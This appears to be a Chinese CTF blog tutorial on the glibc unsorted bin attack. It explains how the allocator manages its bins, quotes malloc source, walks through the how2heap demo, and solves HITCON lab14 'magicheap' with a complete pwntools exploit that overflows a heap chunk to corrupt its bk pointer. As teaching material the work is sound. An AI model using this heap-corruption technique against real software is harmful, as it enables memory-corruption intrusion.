• 之前的unsorted_bin_attack只是一个比较小的技巧,可以用这个技巧泄露libc的地址,而本篇文章的学习是,利用unsorted_bin的管理机制的一些缺陷,从而进行堆利用,进而getshell
  • 在学习unsorted_bin_attack时,我们就要先了解一下unsorted_bin这个链表的管理机制。

前置知识

  • 在学习过house of lore其实对unsorted_bin_attack的利用就简单非常多。虽然house of lore是针对smallbin的利用。但是确实有助于理解unsorted_bin_attack
  • 但是建议还是先从unsorted_bin_attack先入手,再去学习house of lore

unsorted_bin运行机制

  • 我们之前已经了解了利用unsortedbin中的堆块泄露libc的地址。这个泄露的原理就是第一次被放入unsortedbin中的堆块,其fd指针、bk指针指向的是main_arena+88处(其他不同版本的libc偏移可能不同。)
  • 而我们查看main_arena+88这个位置就会发现,main_arena+88这个位置其实是一个数组的开头。如下图所示,这个数组里面还有很多元素都还没有被使用的上。这个数组被称为bins
  • 而其实这个bins就是用来管理unsortedbinsmallbinslargebins这个链表的头结点,与图中管理fastbin链表的头结点数组fastbinsY相似。
  • 但是bins这个头结点是双向循环链表,这点与fastbin单向链表就有所不同。所以我们的bins[0]就相当于unsortedbin_fd指针,bins[1]就相当于unsortedbin_bk指针。

image-20250327005755001

  • 而我们图中的main_arena就相当于glibc中这个结构体的实例。

image-20250327010249397

  • 接下来我们来简述一下unsortedbin的大致运行机制,之后再画图说明。
    • unsortedbin也是通过链表进行组织的,并且unsortedbin是一个双向循环链表的形式。
    • fastbin链表不同的是unsorted_bin链表采用的是FIFO形式也就是(先进先出的形式)。
    • 当有一个chunk被放入unsorted_bin这个链表中,这个glibc将使用头插法将该堆块,插入靠近unsorted_bin这个头结点的位置(指的是逻辑地址)
    • 当有一个chunk要被取出时,会从最远离unsorted_bin的堆块开始取(指的是逻辑地址),然后会更新unsorted_bin中的bk指针。因此unsorted bin遍历堆块的时候使用的是bk指针。
  • 接下来画图描述,当没有堆块被放入unsorted_bin中时就会呈现出如下形式,即空空如也

image-20250327011438507

  • 当有一个堆块被放入unsorted_bin中就会出现如下图所示的双向循环列表。

image-20250327011527458

  • 当有新的chunk被放入到unsortedbin中时,就会使用头插法

image-20250327011903095

  • 当有堆块要被取出时就会先从chunk1这边取出,然后更新图中的双向循环链表。

image-20250327012012497

相关检查

  • 以下图的chunk1chunk2为例子,这时演示的是我们调用malloc申请一个堆块时,如果要从unsorted_bin中取堆块的情况。
    • 当我们要取出chunk1的时候,有一个victim会指向chunk1,还有一个bck指针会指向chunk2
    • 这时程序先会检查victimsize位,检查size是否小于等于0x10size是否大于av->system_mem,经过判断后就会获取victim所指向堆块的size
      • __builtin_expect (victim->size <= 2 * SIZE_SZ, 0)
      • ``__builtin_expect (victim->size > av->system_mem, 0)`
    • malloc申请的堆块大小属于small bin范围中,并且unsorted_bin中的最后一个堆块是unsortedbin中的唯一chunk时,就会优先使用这个块,如果满足条件就会进行切割和解链操作。
    • malloc申请的堆块大小超出unsorted_bin中的最后一个堆块时,则会将victim所指向的chunk根据size位,放入相应的small_bins中或者large_bins
    • 并且更新双向循环链表中的unsorted_bin_bk指针和bck->fd指针。我们对unsorted_bin_attack的利用重点就是在这里,如果我们可以修改victimbk指针,修改完改指针后,我们再次调用malloc申请相同大小的堆块,这时unsorted_bin在更新双向循环链表的时候就会修改bk指针所指向的位置,从而将某些值(这个值我们无法控制)写入到我们想要的位置中
      • unsorted_chunks (av)->bk = bck;
      • bck->fd = unsorted_chunks (av);
    • 猜测:由于unsorted_bin链表的管理与smallbin_bin链表的管理差不多,是不是能将house of lore的利用方式是使用在unsorted_bin中呢?
    • 如果之前的条件都不满足,意味着目前的victim不能满足用户的需求,需要根据其size放入small binlarge bin的链最后是unlinkvictim彻底解链。

image-20250327011903095

相关源码

_int_malloc中关于unsorted_bin的源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
 while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))
{
bck = victim->bk;
if (__builtin_expect (victim->size <= 2 * SIZE_SZ, 0)
|| __builtin_expect (victim->size > av->system_mem, 0))
malloc_printerr (check_action, "malloc(): memory corruption",
chunk2mem (victim), av);
size = chunksize (victim);

/*
If a small request, try to use last remainder if it is the
only chunk in unsorted bin. This helps promote locality for
runs of consecutive small requests. This is the only
exception to best-fit, and applies only when there is
no exact fit for a small chunk.
*/

if (in_smallbin_range (nb) &&
bck == unsorted_chunks (av) &&
victim == av->last_remainder &&
(unsigned long) (size) > (unsigned long) (nb + MINSIZE))
{
/* split and reattach remainder */
remainder_size = size - nb;
remainder = chunk_at_offset (victim, nb);
unsorted_chunks (av)->bk = unsorted_chunks (av)->fd = remainder;
av->last_remainder = remainder;
remainder->bk = remainder->fd = unsorted_chunks (av);
if (!in_smallbin_range (remainder_size))
{
remainder->fd_nextsize = NULL;
remainder->bk_nextsize = NULL;
}

set_head (victim, nb | PREV_INUSE |
(av != &main_arena ? NON_MAIN_ARENA : 0));
set_head (remainder, remainder_size | PREV_INUSE);
set_foot (remainder, remainder_size);

check_malloced_chunk (av, victim, nb);
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}

/* remove from unsorted list */
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);

/* Take now instead of binning if exact fit */

if (size == nb)
{
set_inuse_bit_at_offset (victim, size);
if (av != &main_arena)
victim->size |= NON_MAIN_ARENA;
check_malloced_chunk (av, victim, nb);
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}

/* place chunk in bin */

if (in_smallbin_range (size))
{
victim_index = smallbin_index (size);
bck = bin_at (av, victim_index);
fwd = bck->fd;
}
else
{
victim_index = largebin_index (size);
bck = bin_at (av, victim_index);
fwd = bck->fd;

/* maintain large bins in sorted order */
if (fwd != bck)
{
/* Or with inuse bit to speed comparisons */
size |= PREV_INUSE;
/* if smaller than smallest, bypass loop below */
assert ((bck->bk->size & NON_MAIN_ARENA) == 0);
if ((unsigned long) (size) < (unsigned long) (bck->bk->size))
{
fwd = bck;
bck = bck->bk;

victim->fd_nextsize = fwd->fd;
victim->bk_nextsize = fwd->fd->bk_nextsize;
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
}
else
{
assert ((fwd->size & NON_MAIN_ARENA) == 0);
while ((unsigned long) size < fwd->size)
{
fwd = fwd->fd_nextsize;
assert ((fwd->size & NON_MAIN_ARENA) == 0);
}

if ((unsigned long) size == (unsigned long) fwd->size)
/* Always insert in the second position. */
fwd = fwd->fd;
else
{
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;
}
bck = fwd->bk;
}
}
else
victim->fd_nextsize = victim->bk_nextsize = victim;
}

mark_bin (av, victim_index);
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;

#define MAX_ITERS 10000
if (++iters >= MAX_ITERS)
break;
}

实验

  • 还是老样子,使用how2heap的例子,进行动态调试然后画图理解利用过程。
源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#include <stdio.h>
#include <stdlib.h>

int main(){
fprintf(stderr, "This file demonstrates unsorted bin attack by write a large unsigned long value into stack\n");
fprintf(stderr, "In practice, unsorted bin attack is generally prepared for further attacks, such as rewriting the "
"global variable global_max_fast in libc for further fastbin attack\n\n");

unsigned long stack_var=0;
fprintf(stderr, "Let's first look at the target we want to rewrite on stack:\n");
fprintf(stderr, "%p: %ld\n\n", &stack_var, stack_var);

unsigned long *p=malloc(400);
fprintf(stderr, "Now, we allocate first normal chunk on the heap at: %p\n",p);
fprintf(stderr, "And allocate another normal chunk in order to avoid consolidating the top chunk with"
"the first one during the free()\n\n");
malloc(500);

free(p);
fprintf(stderr, "We free the first chunk now and it will be inserted in the unsorted bin with its bk pointer "
"point to %p\n",(void*)p[1]);

//------------VULNERABILITY-----------

p[1]=(unsigned long)(&stack_var-2);
fprintf(stderr, "Now emulating a vulnerability that can overwrite the victim->bk pointer\n");
fprintf(stderr, "And we write it with the target address-16 (in 32-bits machine, it should be target address-8):%p\n\n",(void*)p[1]);

//------------------------------------

malloc(400);
fprintf(stderr, "Let's malloc again to get the chunk we just free. During this time, the target should have already been "
"rewritten:\n");
fprintf(stderr, "%p: %p\n", &stack_var, (void*)stack_var);
}
  • 将源码翻译一遍
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#include <stdio.h>
#include <stdlib.h>

int main(){
fprintf(stderr, "这个文件通过写入一个很大的无符号长整型的值到栈上演示了unsorted_bin_attack\n");
fprintf(stderr, "在实践中, unsorted bin attack 一般是为了进一步攻击做准备, 例如重新写"
"在libc中全局的变量global_max_fast为了进一步的fastbin attack\n\n");

unsigned long stack_var=0;
fprintf(stderr, "让我们先来看我们想要重新写入的目标栈:\n");
fprintf(stderr, "%p: %ld\n\n", &stack_var, stack_var);

unsigned long *p=malloc(400);
fprintf(stderr, "现在, 我们首先在堆中分配一个正常的chunk,该chunk的地址为: %p\n",p);
fprintf(stderr, "同时分配另一个正常的chunk,为了防止第一个申请的chunk在free()期间与top chunk合并\n\n");
malloc(500);

free(p);
fprintf(stderr, "现在我们释放第一个chunk,并且它将被插入unsorted bin中,它的指针指向的地址为: %p\n",(void*)p[1]);

//------------VULNERABILITY-----------

p[1]=(unsigned long)(&stack_var-2);
fprintf(stderr, "现在模拟一个能修改victim->bk指针的漏洞\n");
fprintf(stderr, "我们用 目标栈地址-16的值(在32-bit机器中,它应该是 目标栈地址-8):%p\n\n",(void*)p[1]);

//------------------------------------

malloc(400);
fprintf(stderr, "让我们再一次申请,从而得到我们刚刚释放的chunk. 在这期间, 目标栈已经被重写\n");
fprintf(stderr, "%p: %p\n", &stack_var, (void*)stack_var);
}
//在ubuntu16.04环境下编译该程序
//gcc -o lab1 lab1.c
  • 编译后我们先运行一下该程序,运行结果如下,目前的我们对unsorted_bin_attack的利用还是不太清楚,接下来我们就来动态调试。并且画图理解。

image-20250327104549203

  • 首先我们再栈上定义了一个unsigned long stack_var=0;,定义完这个变量之后,先申请了一个大小为400的堆块。

image-20250327105229873

image-20250327105253736

image-20250327105329656

  • 然后为了防止之后释放堆块的时候,堆块与top_chunk合并,所以我们再申请了一个500大小的堆块。

image-20250327105429255

image-20250327105500939

  • 之后我们释放第一次申请的堆块,该堆块会被放入unsorted_bin

image-20250327105604255

image-20250327105612020

image-20250327105902464

  • 这时我们修改该堆块的bk指针,将该指针指向stack_var这个变量的地址。

image-20250327110343767

  • 修改完之后我们再次申请这个堆块,申请后我们的栈上的stack_var的值就会变成main_arena+88的地址,并且stack_var_addr+0x8会指向我们刚申请回来的堆块。

image-20250327110653539

image-20250327110913946

image-20250327111302955

  • 在实际修改bk指针的时候,一般fd指针也会被修改,但是将 unsorted bin 的最后一个 chunk 拿出来的过程中,victim 的 fd 并没有发挥作用,所以即使我们修改了其为一个不合法的值也没有关系

利用方式

  • 这个unsorted_bin_attack一般也是起到辅助作用,基本上是house of组合技中的一环。
  • 接下来就介绍一下后续的利用方式
    • 我们通过修改循环的次数来使得程序可以执行多次循环。控制循环次数的变量一般都是在栈上。
    • 我们通过修改idx的大小,增加我们申请堆块的次数。
    • 我们可以修改 heap 中的 global_max_fast 来使得更大的 chunk 可以被视为 fast bin,这样我们就可以去执行一些 fast bin attack 了。

unsorted_bin_attack_level_1

  • 题目来源:HITCON Training lab14 magic heap
  • 题目附件:上网搜一下就有
  • 直接使用glibc-all-in-one项目配合patchelf
  • 考点:堆溢出unsorted_bin_attack

level_1_分析1

  • check一下保护机制。发现如下图所示的保护机制。

image-20250327114958605

  • 然后运行一下程序查看一下程序的具体逻辑。一开始还是一个经典堆菜单的题目。addeditdeleexit这三个。

image-20250327115035136

  • 我们选择1后的具体执行过程。分别输入选择大小内容

image-20250327115149367

  • 选择2后的具体执行过程。分别输入选择索引大小内容

image-20250327115232672

  • 选择3后具体执行的过程。分别输入选择索引

image-20250327115313844

  • 选择4就直接退出

image-20250327115346749

  • 接下来我们反编译一下这个程序,查看程序的具体执行逻辑。接下来我们来查看一下这个程序反编译后的main函数的具体执行逻辑。
  • 该程序先是对输入、输出进行初始化,初始化之后进入两个循环。

image-20250327202821811

  • 然后接下去查看,接下去的程序逻辑才是比较重要的。
    • 程序先会输出我们之前看到的菜单,然后让用户做出选择。
    • 1就是创建一个堆块,2就是修改一个堆块,3就是删除堆块。
    • 注意这边我们还看到了一个4869选项,这边选项会判断magic是否大于0x1305,如果大于就会执行l33t()函数

image-20250327203011584

  • l33t()这个函数是执行的就是cat flag的命令操作。

image-20250327203228885

  • 接下来我们就查看add()delete()edit()这三个函数。
  • 先来查看add()这个函数
    • 这个函数先会判断heaparray这个全局变量的数组里面的元素是不是空的,这个数组就是一个指针数组,存放着malloc()返回的堆地址。
    • 然后会让用户输入要申请堆块的大小,申请堆块的大小后程序就会让用户向刚申请的堆块写入数据。这里不存在堆溢出。

image-20250327203337420

  • 现在我们查看delete()函数,这个函数的具体执行逻辑如下。
    • 程序先会让用户输入要释放的堆块对应的索引。
    • 用户输入后,程序会判断是否超出索引范围,并判断这个索引是否存放有堆块。
    • 如果存放有堆块就会释放对应索引的堆块,然后将对应索引的位置设置为0
    • 注意:这里不存在UAF漏洞

image-20250327203742940

  • 最后我们来查看edit()函数
  • 这个函数基本上也会让用户输入指定索引,然后判断索引是否超出范围
  • 注意:这里程序可以让用户指定输入的大小,所以用户就可以指定输入比较大的值,从而造成堆溢出操作

image-20250327204038082

level_1_分析2

  • 这题的利用也就比较明显了,我们先申请三个堆块。利用方式其实就是unsorted_bin_attack,所以我们就要通过漏洞去修改处于unsorted_bin中的堆块对应的bk指针。
  • 所以我们一开始需要申请3个堆块,按申请的顺序分别命名为chunk0chunk1chunk2
    • 其中chunk0的作用是用于从而修改chunk1的bk指针。
    • chunk1的作用是用于释放,释放后其会被放入到unsorted_bin中,所以要申请比较大的堆块使得这个堆块并不会被放入fastbin链表中。
    • 接下来我们申请的chunk2是防止在释放chunk1chunk1top_chunk合并。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *
p = process('./magicheap')
context.log_level='debug'
def add(size,content):
p.sendlineafter(b'Your choice :',b'1')
p.sendlineafter(b'Size of Heap :',str(size).encode('utf-8'))
p.sendafter(b'Content of heap:',content)

def edit(idx,size,content):
p.sendlineafter(b'Your choice :',b'2')
p.sendlineafter(b'Index :',str(idx).encode('utf-8'))
p.sendlineafter(b'Size of Heap :',str(size).encode('utf-8'))
p.sendafter(b'Content of heap :',content)

def delete(idx):
p.sendlineafter(b'Your choice :',b'3')
p.sendlineafter(b'Index :',str(idx).encode('utf-8'))

add(0x10,b'aaaa')
add(0x110,b'aaaa')
add(0x110,b'aaaa')
delete(1)
  • 这时我们再释放chunk1chunk1就会被放入unsortedbin中。

image-20250327204808494

  • 这时我们就要通过溢出操作修改chunk1bk指针,在溢出的时候要注意一点就是要保持chunk1size位不变,即size为一定要为0x121。否则我们再次申请堆块的时候size不正确可能就会导致程序崩溃。
  • 接下来我们修改后再使用malloc(0x110)大小的堆块,修改完后的堆块内容如下图。
1
2
payload = p64(0)*3+p64(0x121)+p64(0)+p64(0x6020C0-0x10)
edit(0,0x50,payload)

image-20250327205749397

  • 之后我们再次申请堆块,申请堆块后我们再查看magic这个全局变量的值,这时我们发现magic的值已经非常大了。

image-20250327210010119

  • 之后我们再选择4869,这样我们就可以执行cat flag的命令了。我们就得到flag

image-20250327210135180

level_1_exp

  • exp如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *
p = process('./magicheap')
context.log_level='debug'
def add(size,content):
p.sendlineafter(b'Your choice :',b'1')
p.sendlineafter(b'Size of Heap :',str(size).encode('utf-8'))
p.sendafter(b'Content of heap:',content)

def edit(idx,size,content):
p.sendlineafter(b'Your choice :',b'2')
p.sendlineafter(b'Index :',str(idx).encode('utf-8'))
p.sendlineafter(b'Size of Heap :',str(size).encode('utf-8'))
p.sendafter(b'Content of heap :',content)

def delete(idx):
p.sendlineafter(b'Your choice :',b'3')
p.sendlineafter(b'Index :',str(idx).encode('utf-8'))

add(0x10,b'aaaa')
add(0x110,b'aaaa')
add(0x110,b'aaaa')
delete(1)

payload = p64(0)*3+p64(0x121)+p64(0)+p64(0x6020C0-0x10)
edit(0,0x50,payload)

add(0x110,b'aaaa')
gdb.attach(p)
pause()
p.sendlineafter(b'Your choice :',b'4869')
p.interactive()